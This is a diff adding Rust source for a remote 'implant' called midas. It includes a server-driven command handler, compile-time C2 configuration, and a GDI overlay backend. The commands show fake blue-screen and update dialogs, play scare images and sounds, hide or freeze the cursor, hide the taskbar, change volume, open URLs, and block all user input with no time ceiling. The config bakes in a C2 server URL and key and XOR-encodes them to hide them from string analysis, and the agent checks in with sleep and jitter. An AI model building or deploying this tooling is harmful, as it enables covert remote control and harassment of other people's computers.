+                &arg_str(&args, 3),
+                &["foreground", "all", "mouse"],
+            ) {
+                Ok(value) => value,
+                Err(e) => return e,
+            };
+
+            if !(1..=30).contains(&seconds) {
+                return "seconds must be between 1 and 30".to_string();
+            }
+            if !(1..=200).contains(&litude) {
+                return "amplitude must be between 1 and 200 pixels".to_string();
+            }
+            if !(10..=200).contains(&interval) {
+                return "interval must be between 10 and 200 ms".to_string();
+            }
+
+            if target == "mouse" {
+                return cursor_task("shake", seconds as u64);
+            }
+
+            let shown = target.clone();
+            gui::detach(move || {
+                crate::gui::win::shake(
+                    seconds as u64,
+                    amplitude as i32,
+                    interval as u64,
+                    &target,
+                );
+            });
+
+            format!("shaking {shown} for {seconds}s")
+        }
+
+        // --- fake system UI -----------------------------------------------
+        "fakebsod" => {
+            let stopcode = arg_str(&args, 0);
+            let percent = arg_int(&args, 1).clamp(0, 100);
+            let duration = match duration_arg(&args, 2, 3600) {
+                Ok(value) => value,
+                Err(e) => return e,
+            };
+
+            match gui::open_bsod(&stopcode, percent, duration) {
+                Ok(id) => overlay_ack(id, "fakebsod", &stopcode, duration),
+                Err(e) => format!("could not open fakebsod: {e}"),
+            }
+        }
+        "fakeupdate" => {
+            let title = arg_str(&args, 0);
+            let percent = arg_int(&args, 1).clamp(0, 100);
+            let duration = match duration_arg(&args, 2, 3600) {
+                Ok(value) => value,
+                Err(e) => return e,
+            };
+
+            match gui::open_update(&title, percent, duration) {
+                Ok(id) => overlay_ack(id, "fakeupdate", &title, duration),
+                Err(e) => format!("could not open fakeupdate: {e}"),
+            }
+        }
+        "faketoast" => {
+            let title = arg_str(&args, 0);
+            let body = arg_str(&args, 1);
+            let seconds = arg_int(&args, 2);
+            if !(1..=600).contains(&seconds) {
+                return "seconds must be between 1 and 600".to_string();
+            }
+
+            let duration = Some(std::time::Duration::from_secs(seconds as u64));
+            match gui::open_toast(&title, &body, duration) {
+                Ok(id) => overlay_ack(id, "faketoast", &title, duration),
+                Err(e) => format!("could not open faketoast: {e}"),
+            }
+        }
+        "titlechange" => {
+            let title = arg_str(&args, 0);
+            let result = gui::win::set_foreground_title(&title);
+
+            match result {
+                Ok(previous) => format!("title set to `{title}` (was `{previous}`)"),
+                Err(e) => format!("could not set title: {e}"),
+            }
+        }
+        "gettitle" => {
+            let result = gui::win::get_foreground_title();
+
+            match result {
+                Ok(title) => format!("foreground window: `{title}`"),
+                Err(e) => format!("could not read title: {e}"),
+            }
+        }
+        "toggletaskbar" => {
+            let state = match one_of(&arg_str(&args, 0), &["hide", "show", "toggle"]) {
+                Ok(value) => value,
+                Err(e) => return e,
+            };
+
+            let result = gui::win::set_taskbar(&state);
+
+            match result {
+                Ok(()) => format!("taskbar {state}"),
+                Err(e) => format!("could not change taskbar: {e}"),
+            }
+        }
+
+        // --- sensory -------------------------------------------------------
+        "scare" => {
+            let image = arg_str(&args, 0);
+            let sound = arg_str(&args, 1);
+            let seconds = arg_int(&args, 2);
+            if !(1..=600).contains(&seconds) {
+                return "seconds must be between 1 and 600".to_string();
+            }
+
+            // The literal `none` means "image only". This is the sentinel that
+            // an optional argument would otherwise have provided.
+            if !sound.trim().is_empty() && !sound.eq_ignore_ascii_case("none") {
+                gui::detach(move || {
+                    let _ = jobs::play_sound(&sound, false);
+                });
+            }
+
+            let duration = Some(std::time::Duration::from_secs(seconds as u64));
+            match gui::open_scare(&image, duration) {
+                Ok(id) => overlay_ack(id, "scare", &image, duration),
+                Err(e) => format!("could not open scare: {e}"),
+            }
+        }
+        "spook" => {
+            let mode = match one_of(
+                &arg_str(&args, 0),
+                &["static", "matrix", "scanline", "glitch"],
+            ) {
+                Ok(value) => value,
+                Err(e) => return e,
+            };
+            let duration = match duration_arg(&args, 1, 3600) {
+                Ok(value) => value,
+                Err(e) => return e,
+            };
+
+            match gui::open_spook(&mode, duration) {
+                Ok(id) => overlay_ack(id, "spook", &mode, duration),
+                Err(e) => format!("could not open spook: {e}"),
+            }
+        }
+        "playsound" => {
+            let path = arg_str(&args, 0);
+            let looping = arg_bool(&args, 1);
+
+            let shown = path.clone();
+            gui::detach(move || {
+                // The failure is only visible in the implant's own log: the ack
+                // was already sent, and the alternative is blocking the
+                // check-in loop on an audio device that may not exist.
+                if let Err(e) = jobs::play_sound(&path, looping) {
+                    crate::log::log_lazy(|| format!("playsound failed: {e}"));
+                }
+            });
+
+            format!(
+                "playing {shown} ({})",
+                if looping { "looping" } else { "once" }
+            )
+        }
+        "volume" => {
+            let action = match one_of(
+                &arg_str(&args, 0),
+                &["mute", "unmute", "max", "min", "set"],
+            ) {
+                Ok(value) => value,
+                Err(e) => return e,
+            };
+            let level = arg_int(&args, 1);
+
+            let result = gui::win::set_volume(&action, level.clamp(0, 100) as u32);
+
+            match result {
+                Ok(()) => format!("volume {action}"),
+                Err(e) => format!("could not change volume: {e}"),
+            }
+        }
+
+        // --- desktop -------------------------------------------------------
+        "cursor" => {
+            let action = match one_of(
+                &arg_str(&args, 0),
+                &["hide", "show", "freeze", "corner", "shake"],
+            ) {
+                Ok(value) => value,
+                Err(e) => return e,
+            };
+            let seconds = arg_int(&args, 1);
+            if !(1..=60).contains(&seconds) {
+                return "seconds must be between 1 and 60".to_string();
+            }
+
+            cursor_task(&action, seconds as u64)
+        }
+        "desktopnote" => {
+            let text = arg_str(&args, 0);
+            let x = arg_int(&args, 1);
+            let y = arg_int(&args, 2);
+            let size = arg_int(&args, 3).clamp(8, 200);
+
+            let duration = Some(std::time::Duration::from_secs(120));
+            match gui::open_note(&text, x, y, size, duration) {
+                Ok(id) => overlay_ack(id, "desktopnote", &text, duration),
+                Err(e) => format!("could not open desktopnote: {e}"),
+            }
+        }
+        "fontsize" => {
+            let percent = arg_int(&args, 0);
+            if !(50..=300).contains(&percent) {
+                return "percent must be between 50 and 300".to_string();
+            }
+
+            let result = gui::win::set_font_scale(percent as u32);
+
+            match result {
+                Ok(()) => format!("UI scale set to {percent}%"),
+                Err(e) => format!("could not change UI scale: {e}"),
+            }
+        }
+        "minimizeall" => {
+            let state = match one_of(&arg_str(&args, 0), &["minimize", "restore", "toggle"]) {
+                Ok(value) => value,
+                Err(e) => return e,
+            };
+
+            let result = gui::win::set_minimized(&state);
+
+            match result {
+                Ok(()) => format!("windows {state}"),
+                Err(e) => format!("could not change windows: {e}"),
+            }
+        }
+        "openurl" => {
+            let url = arg_str(&args, 0);
+            let background = arg_bool(&args, 1);
+
+            match jobs::open_url(&url, background) {
+                Ok(()) => format!("opened {url}"),
+                Err(e) => format!("could not open URL: {e}"),
+            }
+        }
+        "lockinput" => {
+            // Anything zero is a hold until `stopall`; a positive number is a
+            // timeout. The ceiling is gone - the operator decides how long -
+            // but the release is always reachable, which is the safety property
+            // that matters: `stopall` cancels the hold from the check-in thread
+            // no matter how long it was asked for.
+            let requested = arg_int(&args, 0);
+            if requested < 0 {
+                return "seconds must be 0 (until stopall) or a positive number".to_string();
+            }
+
+            // `BlockInput` needs SE_DEBUG access, so an implant that is not
+            // elevated is refused. The refusal is checked on the worker thread
+            // and the ack below is still immediate, which is the point - a
+            // non-elevated implant reports the failure in its own log rather
+            // than stalling the check-in loop waiting to find out.
+            let _ = gui::lock_input(requested as u64);
+
+            if requested == 0 {
+                "input blocked until stopall".to_string()
+            } else {
+                format!("input blocked for {requested}s")
+            }
+        }
+
+        // --- shared --------------------------------------------------------
+        "getsleep" => {
+            let (s, j) = sleep::get();
+            format!("sleep: {s}s, jitter: {j}s")
+        }
+        "setsleep" => {
+            let s = arg_int(&args, 0);
+            let j = arg_int(&args, 1);
+
+            if s <= 0 || j < 0 {
+                return "sleep must be positive and jitter cannot be negative".to_string();
+            }
+
+            match sleep::set(s as u64, j as u64) {
+                Ok(()) => format!("sleep set to {s}s with {j}s jitter"),
+                Err(e) => e,
+            }
+        }
+
+        other => format!("unknown command `{other}`"),
+    }
+}
+
+fn overlay_ack(
+    id: u64,
+    label: &str,
+    detail: &str,
+    duration: Option,
+) -> String {
+    let shown = if detail.is_empty() {
+        String::new()
+    } else {
+        format!(" ({detail})")
+    };
+
+    let lifetime = match duration {
+        Some(d) => format!(" for {}s", d.as_secs()),
+        None => " until stopall".to_string(),
+    };
+
+    format!("{label} opened{shown} as overlay {id}{lifetime}")
+}
+
+/// Pointer manipulation, shared by the `cursor` and `shakescreen target=mouse`
+/// paths.
+///
+/// The check-in thread is not blocked either way, since `SetCursorPos` and
+/// `ClipCursor` return immediately; the caller moves the pointer back on a
+/// timer so the effect outlives the call.
+fn cursor_task(action: &str, seconds: u64) -> String {
+    let owned = action.to_string();
+    let worker = owned.clone();
+    gui::detach(move || {
+        crate::gui::win::cursor(&worker, seconds);
+    });
+
+    format!("cursor {owned} for {seconds}s")
+}
diff --git a/implants/midas/src/config.rs b/implants/midas/src/config.rs
new file mode 100644
index 0000000..fb00978
--- /dev/null
+++ b/implants/midas/src/config.rs
@@ -0,0 +1,89 @@
+//! Build-time configuration.
+//!
+//! Tombili hardcodes these in `src/config.nim` and requires a source edit per
+//! target. Midas reads them from the environment at *compile* time instead, so
+//! the same checkout builds for any server:
+//!
+//! ```bash
+//! MIDAS_SERVER=https://c2.example.com/ MIDAS_KEY=... cargo build --release
+//! ```
+//!
+//! `option_env!` bakes the value into the binary. Reading these at runtime via
+//! `env::var` would leave the C2 URL visible in /proc//environ. The baked
+//! values are XOR-encoded like every other string constant, so they do not show
+//! up in `strings` output either - see `obf_env` below.
+
+use crate::obf;
+use crate::obf::MAX_LEN;
+
+/// Identifies this implant to the server. Part of the agent's identity tuple
+/// together with the reported IP, so it must differ from `tombili` or the two
+/// implants collide on one host.
+pub const IMPLANT_ID: &str = "midas";
+
+/// Reported to the server as `registration.os`.
+pub const OS: &str = std::env::consts::OS;
+
+/// Compile-time encoding of an optional build-time value.
+///
+/// The pair is `(length, bytes)`; a length of zero means the variable was unset
+/// or empty, and the caller falls back to its `obf!` default.
+///
+/// Encoding in a `const` matters here. Writing the `option_env!` value straight
+/// into a `String` at runtime would compile to exactly that string in the
+/// binary, and `MIDAS_KEY` is the one value in the whole implant that is worth
+/// hiding. The encoded form is a fixed 256-byte array, so the plaintext is
+/// never emitted.
+const fn obf_env(value: Option<&'static str>) -> (usize, [u8; MAX_LEN]) {
+    match value {
+        Some(text) => obf::encode_static(text),
+        None => (0, [0u8; MAX_LEN]),
+    }
+}
+
+const SERVER: (usize, [u8; MAX_LEN]) = obf_env(option_env!("MIDAS_SERVER"));
+const KEY: (usize, [u8; MAX_LEN]) = obf_env(option_env!("MIDAS_KEY"));
+
+pub fn server_url() -> String {
+    if SERVER.0 == 0 {
+        obf!("http://127.0.0.1:3000/")
+    } else {
+        obf::decode(&SERVER.1, SERVER.0, obf::SEED)
+    }
+}
+
+/// Must match a row in the server's `keys` table. See the note in
+/// comm.rs::xor about the server only trying the first key.
+pub fn xor_key() -> String {
+    if KEY.0 == 0 {
+        obf!("asdf")
+    } else {
+        obf::decode(&KEY.1, KEY.0, obf::SEED)
+    }
+}
+
+pub fn reg_fail_limit() -> u32 {
+    parse_u32("MIDAS_REG_FAIL_LIMIT", 10)
+}
+
+pub fn checkin_sleep() -> u64 {
+    parse_u64("MIDAS_CHECKIN_SLEEP", 10)
+}
+
+pub fn checkin_jitter() -> u64 {
+    parse_u64("MIDAS_CHECKIN_JITTER", 5)
+}
+
+fn parse_u64(name: &str, default: u64) -> u64 {
+    std::env::var(name)
+        .ok()
+        .and_then(|value| value.parse().ok())
+        .unwrap_or(default)
+}
+
+fn parse_u32(name: &str, default: u32) -> u32 {
+    std::env::var(name)
+        .ok()
+        .and_then(|value| value.parse().ok())
+        .unwrap_or(default)
+}
diff --git a/implants/midas/src/gdi/api.rs b/implants/midas/src/gdi/api.rs
new file mode 100644
index 0000000..9062e23
--- /dev/null
+++ b/implants/midas/src/gdi/api.rs
@@ -0,0 +1,279 @@
+//! The Win32 entry points the GDI overlay backend needs.
+//!
+//! Declared by hand for the same reasons as `gui/win.rs`: a short dependency
+//! list, a small binary, and identical linking under the MSVC and GNU targets.
+//! Only windowing and GDI are here — none of this touches OpenGL, which is the
+//! entire point of the module.
+//!
+//! The overlay is composited by the window manager rather than by us. A
+//! `WS_EX_LAYERED` window is handed a premultiplied 32-bit bitmap through
+//! `UpdateLayeredWindow` and the desktop mixes it in, so the same code path
+//! serves the opaque overlays (`fakebsod`, `fakeupdate`, fullscreen images) and
+//! the translucent ones (`faketoast`, `desktopnote`, a centred image) without a
+//! special case. It also means the window never needs a paint message, so a
+//! frame is: rasterise into a DIB, call `UpdateLayeredWindow`, done.
+
+// The Win32 spellings are kept verbatim so each declaration can be read against
+// the SDK header by name.
+#![allow(non_snake_case, non_camel_case_types, clippy::upper_case_acronyms)]
+
+use std::ffi::c_void;
+
+pub type HWND = *mut c_void;
+pub type HDC = *mut c_void;
+pub type HGDIOBJ = *mut c_void;
+pub type HBITMAP = *mut c_void;
+pub type HBRUSH = *mut c_void;
+pub type HICON = *mut c_void;
+pub type HCURSOR = *mut c_void;
+pub type HINSTANCE = *mut c_void;
+pub type UINT = u32;
+pub type DWORD = u32;
+pub type WPARAM = usize;
+pub type LPARAM = isize;
+pub type LRESULT = isize;
+pub type BOOL = i32;
+pub type COLORREF = u32;
+
+pub type WNDPROC = unsafe extern "system" fn(HWND, UINT, WPARAM, LPARAM) -> LRESULT;
+
+// --- Window styles ----------------------------------------------------------
+pub const WS_POPUP: DWORD = 0x8000_0000;
+pub const WS_EX_LAYERED: DWORD = 0x0008_0000;
+pub const WS_EX_TOPMOST: DWORD = 0x0000_0008;
+/// Keeps the overlay out of the taskbar and the Alt+Tab list, which a prank
+/// window has no business appearing in.
+pub const WS_EX_TOOLWINDOW: DWORD = 0x0000_0080;
+/// The overlay never takes focus, so the target keeps typing and the keystrokes
+/// do not land in a dialog that is not really a dialog.
+pub const WS_EX_NOACTIVATE: DWORD = 0x0800_0000;
+
+// --- Window classes ---------------------------------------------------------
+pub const CS_HREDRAW: u32 = 0x0002;
+pub const CS_VREDRAW: u32 = 0x0001;
+
+// --- Messages ---------------------------------------------------------------
+pub const WM_DESTROY: UINT = 0x0002;
+pub const WM_PAINT: UINT = 0x000F;
+pub const WM_TIMER: UINT = 0x0113;
+
+/// `IDC_ARROW` is a `MAKEINTRESOURCE` id, so it is the bare number.
+pub const IDC_ARROW: usize = 32512;
+
+/// `SW_SHOWNOACTIVATE`. The overlays are `WS_EX_NOACTIVATE` and this keeps them
+/// that way, so a prank never takes focus off whatever the target is doing.
+pub const SW_SHOWNOACTIVATE: i32 = 4;
+
+// --- GDI --------------------------------------------------------------------
+/// `DIB_RGB_COLORS`, passed as the `usage` argument.
+pub const DIB_RGB_COLORS: u32 = 0;
+pub const BI_RGB: u32 = 0;
+pub const TRANSPARENT: i32 = 1;
+/// GDI clips text to the update region by default; a fake dialog has no reason
+/// to look like it is being redrawn in slices.
+pub const CLIP_DEFAULT: DWORD = 0x0000_0000;
+
+// --- UpdateLayeredWindow ----------------------------------------------------
+pub const ULW_ALPHA: DWORD = 0x0000_0002;
+pub const AC_SRC_OVER: u8 = 0x00;
+pub const AC_SRC_ALPHA: u8 = 0x01;
+
+#[repr(C)]
+pub struct POINT {
+    pub x: i32,
+    pub y: i32,
+}
+
+#[repr(C)]
+pub struct SIZE {
+    pub cx: i32,
+    pub cy: i32,
+}
+
+#[repr(C)]
+pub struct RECT {
+    pub left: i32,
+    pub top: i32,
+    pub right: i32,
+    pub bottom: i32,
+}
+
+#[repr(C)]
+pub struct MSG {
+    pub hwnd: HWND,
+    pub message: UINT,
+    pub wparam: WPARAM,
+    pub lparam: LPARAM,
+    pub time: DWORD,
+    pub pt: POINT,
+}
+
+#[repr(C)]
+pub struct WNDCLASSEXW {
+    pub cbSize: UINT,
+    pub style: UINT,
+    pub lpfnWndProc: WNDPROC,
+    pub cbClsExtra: i32,
+    pub cbWndExtra: i32,
+    pub hInstance: HINSTANCE,
+    pub hIcon: HICON,
+    pub hCursor: HCURSOR,
+    pub hbrBackground: HBRUSH,
+    pub lpszMenuName: *const u16,
+    pub lpszClassName: *const u16,
+    pub hIconSm: HICON,
+}
+
+#[repr(C)]
+pub struct BITMAPINFOHEADER {
+    pub biSize: UINT,
+    pub biWidth: i32,
+    /// Negative for a top-down DIB, which is what is wanted here: the buffer is
+    /// then laid out in reading order, so row 0 is the top of the image and no
+    /// flipping is needed anywhere.
+    pub biHeight: i32,
+    pub biPlanes: u16,
+    pub biBitCount: u16,
+    pub biCompression: DWORD,
+    pub biSizeImage: DWORD,
+    pub biXPelsPerMeter: i32,
+    pub biYPelsPerMeter: i32,
+    pub biClrUsed: DWORD,
+    pub biClrImportant: DWORD,
+}
+
+/// `CreateDIBSection` wants a `BITMAPINFO`; with no colour table or masks used
+/// the three-DWORD tail is still part of the struct.
+#[repr(C)]
+pub struct BITMAPINFO {
+    pub bmiHeader: BITMAPINFOHEADER,
+    pub bmiColors: [COLORREF; 3],
+}
+
+#[repr(C)]
+pub struct BLENDFUNCTION {
+    pub BlendOp: u8,
+    pub BlendFlags: u8,
+    pub SourceConstantAlpha: u8,
+    pub AlphaFormat: u8,
+}
+
+#[repr(C)]
+pub struct PAINTSTRUCT {
+    pub hdc: HDC,
+    pub fErase: BOOL,
+    pub rcPaint: RECT,
+    pub fRestore: BOOL,
+    pub fIncUpdate: BOOL,
+    pub rgbReserved: [u8; 32],
+}
+
+#[link(name = "user32")]
+extern "system" {
+    pub fn RegisterClassExW(class: *const WNDCLASSEXW) -> u16;
+    pub fn UnregisterClassW(class: *const u16, instance: HINSTANCE) -> BOOL;
+    pub fn CreateWindowExW(
+        ex_style: DWORD,
+        class: *const u16,
+        title: *const u16,
+        style: DWORD,
+        x: i32,
+        y: i32,
+        width: i32,
+        height: i32,
+        parent: HWND,
+        menu: HGDIOBJ,
+        instance: HINSTANCE,
+        param: *mut c_void,
+    ) -> HWND;
+    pub fn DestroyWindow(hwnd: HWND) -> BOOL;
+    pub fn DefWindowProcW(hwnd: HWND, message: UINT, wparam: WPARAM, lparam: LPARAM) -> LRESULT;
+    pub fn GetMessageW(message: *mut MSG, hwnd: HWND, min: u32, max: u32) -> BOOL;
+    pub fn TranslateMessage(message: *const MSG) -> BOOL;
+    pub fn DispatchMessageW(message: *const MSG) -> LRESULT;
+    pub fn PostQuitMessage(exit_code: i32);
+    pub fn SetTimer(hwnd: HWND, id: usize, interval: u32, callback: *mut c_void) -> usize;
+    pub fn KillTimer(hwnd: HWND, id: usize) -> BOOL;
+    pub fn BeginPaint(hwnd: HWND, paint: *mut PAINTSTRUCT) -> HDC;
+    pub fn EndPaint(hwnd: HWND, paint: *mut PAINTSTRUCT) -> BOOL;
+    pub fn GetDC(hwnd: HWND) -> HDC;
+    pub fn ReleaseDC(hwnd: HWND, dc: HDC) -> i32;
+    pub fn LoadCursorW(instance: HINSTANCE, name: *const u16) -> HCURSOR;
+    pub fn ShowWindow(hwnd: HWND, command: i32) -> BOOL;
+    pub fn UpdateLayeredWindow(
+        hwnd: HWND,
+        screen_dc: HDC,
+        destination: *const POINT,
+        size: *const SIZE,
+        source_dc: HDC,
+        source: *const POINT,
+        key: COLORREF,
+        blend: *const BLENDFUNCTION,
+        flags: DWORD,
+    ) -> BOOL;
+    pub fn SetProcessDPIAware() -> BOOL;
+}
+
+#[link(name = "gdi32")]
+extern "system" {
+    pub fn CreateCompatibleDC(dc: HDC) -> HDC;
+    pub fn DeleteDC(dc: HDC) -> BOOL;
+    pub fn SelectObject(dc: HDC, object: HGDIOBJ) -> HGDIOBJ;
+    pub fn DeleteObject(object: HGDIOBJ) -> BOOL;
+    pub fn CreateDIBSection(
+        dc: HDC,
+        info: *const BITMAPINFO,
+        usage: UINT,
+        bits: *mut *mut c_void,
+        section: HANDLE_SECTION,
+        offset: DWORD,
+    ) -> HBITMAP;
+    pub fn CreateFontW(
+        height: i32,
+        width: i32,
+        escapement: i32,
+        orientation: i32,
+        weight: i32,
+        italic: u32,
+        underline: u32,
+        strike_out: u32,
+        charset: u32,
+        output: u32,
+        clip: u32,
+        quality: u32,
+        pitch_and_family: u32,
+        face: *const u16,
+    ) -> HGDIOBJ;
+    pub fn GetTextExtentPoint32W(dc: HDC, text: *const u16, count: i32, size: *mut SIZE) -> BOOL;
+    pub fn SetTextColor(dc: HDC, colour: COLORREF) -> COLORREF;
+    pub fn SetBkMode(dc: HDC, mode: i32) -> i32;
+    pub fn TextOutW(dc: HDC, x: i32, y: i32, text: *const u16, count: i32) -> BOOL;
+    pub fn GetStockObject(index: i32) -> HGDIOBJ;
+}
+
+#[link(name = "kernel32")]
+extern "system" {
+    pub fn GetModuleHandleW(module: *const u16) -> HINSTANCE;
+}
+
+/// A file-mapping handle. Only ever passed as null to `CreateDIBSection`, but
+/// it has its own type in the SDK rather than reusing `HANDLE`.
+pub type HANDLE_SECTION = *mut c_void;
+
+/// Arguments for `CreateFontW`.
+///
+/// A TrueType face is requested so the fake system dialogs get the same smoothed
+/// Segoe UI the real ones use, rather than a bitmap-struck face.
+///
+/// `ANTIALIASED_QUALITY` rather than `CLEARTYPE_QUALITY`, deliberately.
+pub const DEFAULT_CHARSET: u32 = 1;
+pub const OUT_TT_PRECIS: u32 = 4;
+pub const FF_DONTCARE: u32 = 0;
+pub const ANTIALIASED_QUALITY: u32 = 4;
+pub const FW_NORMAL: i32 = 400;
+pub const FW_BOLD: i32 = 700;
+pub const DEFAULT_PITCH: u32 = 0;
+
+/// `DEFAULT_GUI_FONT` stock object, restored into a memory DC before a face that
+/// is still selected into it is deleted.
+pub const DEFAULT_GUI_FONT: i32 = 17;
diff --git a/implants/midas/src/gdi/canvas.rs b/implants/midas/src/gdi/canvas.rs
new file mode 100644
index 0000000..cf14ee4
--- /dev/null
+++ b/implants/midas/src/gdi/canvas.rs
@@ -0,0 +1,374 @@
+//! A software rasteriser over a 32-bit DIB section.
+//!
+//! This is what stands in for egui's `Painter`. The target is the DIB's own
+//! memory rather than a copy of it, so a fill is a write through a pointer and
+//! presenting a frame costs nothing beyond the `UpdateLayeredWindow` call.
+//!
+//! Everything except text is drawn by hand. The overlays are solid fills, a
+//! progress bar, an optional bitmap and a lot of small procedural noise, for
+//! which GDI's own drawing calls are a poor fit — and more to the point, GDI
+//! cannot write a meaningful alpha channel into a 32-bit DIB, which is the whole
+//! reason this backend exists. Text is the exception; see `text.rs`.
+
+use std::ffi::c_void;
+
+use super::api::*;
+
+/// A straight (non-premultiplied) 8-bit RGBA colour.
+#[derive(Clone, Copy, Debug)]
+pub struct Rgba {
+    pub r: u8,
+    pub g: u8,
+    pub b: u8,
+    pub a: u8,
+}
+
+impl Rgba {
+    pub const fn rgb(r: u8, g: u8, b: u8) -> Self {
+        Rgba { r, g, b, a: 255 }
+    }
+
+    pub const fn with_alpha(r: u8, g: u8, b: u8, a: u8) -> Self {
+        Rgba { r, g, b, a }
+    }
+}
+
+/// A rectangle in pixels, top-left origin, positive extent.
+#[derive(Clone, Copy, Debug)]
+pub struct Rect {
+    pub x: i32,
+    pub y: i32,
+    pub w: i32,
+    pub h: i32,
+}
+
+impl Rect {
+    pub fn new(x: i32, y: i32, w: i32, h: i32) -> Self {
+        Rect { x, y, w, h }
+    }
+
+    pub fn right(&self) -> i32 {
+        self.x + self.w
+    }
+
+    pub fn bottom(&self) -> i32 {
+        self.y + self.h
+    }
+}
+
+/// How a source bitmap is mapped onto a destination rectangle.
+#[derive(Clone, Copy, PartialEq, Eq)]
+pub enum Fit {
+    /// Fill the destination and crop the overflow. What a fullscreen scare wants.
+    Cover,
+    /// Draw at one source pixel per destination pixel. What a glyph mask wants.
+    Exact,
+}
+
+/// The drawing target: a DIB section, its memory DC, and a pointer to its bits.
+pub struct Canvas {
+    dc: HDC,
+    bitmap: HBITMAP,
+    previous: HGDIOBJ,
+    pub width: i32,
+    pub height: i32,
+    /// The DIB's own pixels, BGRA and top-down. Valid for as long as the bitmap
+    /// is selected into `dc` and has not been deleted, which it is not until
+    /// `release`.
+    bits: *mut u8,
+}
+
+impl Canvas {
+    /// Allocates a canvas of the given size, or `None` if GDI refuses.
+    pub fn new(width: i32, height: i32) -> Option {
+        let width = width.max(1);
+        let height = height.max(1);
+
+        // A null `GetDC` yields the screen DC, which is the one `UpdateLayeredWindow`
+        // wants as its destination and the only one available before a window exists.
+        let screen = unsafe { GetDC(std::ptr::null_mut()) };
+        if screen.is_null() {
+            return None;
+        }
+
+        let dc = unsafe { CreateCompatibleDC(screen) };
+        unsafe { ReleaseDC(std::ptr::null_mut(), screen) };
+        if dc.is_null() {
+            return None;
+        }
+
+        let info = BITMAPINFO {
+            bmiHeader: BITMAPINFOHEADER {
+                biSize: std::mem::size_of::() as UINT,
+                biWidth: width,
+                // Negative height requests a top-down DIB, so row 0 is the top
+                // of the image and no vertical flip is needed anywhere.
+                biHeight: -height,
+                biPlanes: 1,
+                biBitCount: 32,
+                biCompression: BI_RGB,
+                biSizeImage: 0,
+                biXPelsPerMeter: 0,
+                biYPelsPerMeter: 0,
+                biClrUsed: 0,
+                biClrImportant: 0,
+            },
+            bmiColors: [0; 3],
+        };
+
+        let mut bits: *mut c_void = std::ptr::null_mut();
+        let bitmap = unsafe {
+            CreateDIBSection(
+                dc,
+                &info,
+                DIB_RGB_COLORS as UINT,
+                &mut bits,
+                std::ptr::null_mut(),
+                0,
+            )
+        };
+
+        if bitmap.is_null() || bits.is_null() {
+            unsafe { DeleteDC(dc) };
+            return None;
+        }
+
+        let previous = unsafe { SelectObject(dc, bitmap) };
+
+        Some(Canvas {
+            dc,
+            bitmap,
+            previous,
+            width,
+            height,
+            bits: bits as *mut u8,
+        })
+    }
+
+    /// Releases the GDI objects.
+    ///
+    /// Each overlay window owns a canvas for its lifetime and a `HBITMAP` is a
+    /// process-lifetime resource, so dropping the handle without this would leak
+    /// one per overlay.
+    pub fn release(&mut self) {
+        unsafe {
+            if !self.previous.is_null() {
+                SelectObject(self.dc, self.previous);
+                self.previous = std::ptr::null_mut();
+            }
+            if !self.bitmap.is_null() {
+                DeleteObject(self.bitmap);
+                self.bitmap = std::ptr::null_mut();
+            }
+            if !self.dc.is_null() {
+                DeleteDC(self.dc);
+                self.dc = std::ptr::null_mut();
+            }
+        }
+    }
+
+    pub fn dc(&self) -> HDC {
+        self.dc
+    }
+
+    /// The raw BGRA bytes, for the text path to read back out of GDI.
+    pub fn pixels(&self) -> &[u8] {
+        unsafe { std::slice::from_raw_parts(self.bits, self.byte_len()) }
+    }
+
+    fn byte_len(&self) -> usize {
+        (self.width.max(0) * self.height.max(0) * 4) as usize
+    }
+
+    /// Zeroes the surface, making the whole thing transparent.
+    ///
+    /// Written rather than blended: a `spook` overlay repaints twenty times a
+    /// second and this skips the per-pixel blend entirely.
+    pub fn wipe(&mut self) {
+        if !self.bits.is_null() {
+            unsafe { std::ptr::write_bytes(self.bits, 0, self.byte_len()) };
+        }
+    }
+
+    /// Alpha-blends `colour` over a rectangle, clipped to the canvas.
+    pub fn fill_rect(&mut self, rect: Rect, colour: Rgba) {
+        if colour.a == 0 || self.bits.is_null() {
+            return;
+        }
+
+        let x0 = rect.x.max(0);
+        let y0 = rect.y.max(0);
+        let x1 = rect.right().min(self.width);
+        let y1 = rect.bottom().min(self.height);
+
+        if x1 <= x0 || y1 <= y0 {
+            return;
+        }
+
+        let (sr, sg, sb, sa) = premultiplied(colour);
+        // What the destination keeps, since the source claims `sa` of the mix.
+        let inv = 255 - sa;
+
+        for y in y0..y1 {
+            let row = (y * self.width) as usize * 4;
+            for x in x0..x1 {
+                let at = row + (x as usize) * 4;
+                unsafe {
+                    let dst = self.bits.add(at);
+                    let dr = *dst as u32;
+                    let dg = *dst.add(1) as u32;
+                    let db = *dst.add(2) as u32;
+                    let da = *dst.add(3) as u32;
+
+                    *dst = (sr + dr * inv / 255).min(255) as u8;
+                    *dst.add(1) = (sg + dg * inv / 255).min(255) as u8;
+                    *dst.add(2) = (sb + db * inv / 255).min(255) as u8;
+                    *dst.add(3) = (sa + da * inv / 255).min(255) as u8;
+                }
+            }
+        }
+    }
+
+    pub fn fill(&mut self, colour: Rgba) {
+        self.fill_rect(Rect::new(0, 0, self.width, self.height), colour);
+    }
+
+    /// Draws a straight-RGBA bitmap into `dst`, alpha-blended and scaled to fit.
+    ///
+    /// Nearest-neighbour rather than bilinear. These are prank assets, a jump
+    /// scare should look harsh, and a bilinear fetch per destination pixel buys
+    /// nothing visible at these sizes.
+    pub fn blit(
+        &mut self,
+        source: &[u8],
+        source_w: i32,
+        source_h: i32,
+        dst: Rect,
+        fit: Fit,
+        opacity: f32,
+    ) {
+        if source_w <= 0 || source_h <= 0 || dst.w <= 0 || dst.h <= 0 || self.bits.is_null() {
+            return;
+        }
+
+        let opacity = opacity.clamp(0.0, 1.0);
+        if opacity <= 0.0 {
+            return;
+        }
+
+        let (scale, offset_x, offset_y) = match fit {
+            Fit::Exact => (1.0, dst.x as f32, dst.y as f32),
+            Fit::Cover => {
+                let scale = (dst.w as f32 / source_w as f32).max(dst.h as f32 / source_h as f32);
+                (
+                    scale,
+                    dst.x as f32 + (dst.w as f32 - source_w as f32 * scale) / 2.0,
+                    dst.y as f32 + (dst.h as f32 - source_h as f32 * scale) / 2.0,
+                )
+            }
+        };
+
+        let x0 = dst.x.max(0);
+        let y0 = dst.y.max(0);
+        let x1 = dst.right().min(self.width);
+        let y1 = dst.bottom().min(self.height);
+
+        if x1 <= x0 || y1 <= y0 {
+            return;
+        }
+
+        for y in y0..y1 {
+            let sy = (((y as f32 - offset_y) / scale) as i32).clamp(0, source_h - 1);
+            let row = (sy as usize) * (source_w as usize) * 4;
+
+            for x in x0..x1 {
+                let sx = (((x as f32 - offset_x) / scale) as i32).clamp(0, source_w - 1);
